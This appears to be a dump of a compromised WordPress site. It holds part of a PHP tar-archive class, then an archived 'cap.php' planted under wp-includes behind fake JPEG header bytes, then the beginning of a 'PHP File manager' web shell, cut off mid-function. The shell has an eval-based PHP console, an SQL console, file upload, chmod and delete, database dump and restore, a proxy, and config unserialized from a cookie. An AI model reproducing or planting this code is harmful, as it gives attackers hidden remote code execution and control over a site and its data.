				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                           cap.php.tar                                                                                         0000644                 00000240000 15217301621 0006577 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php                                  0000644                 00000234451 15217274014 0021221 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
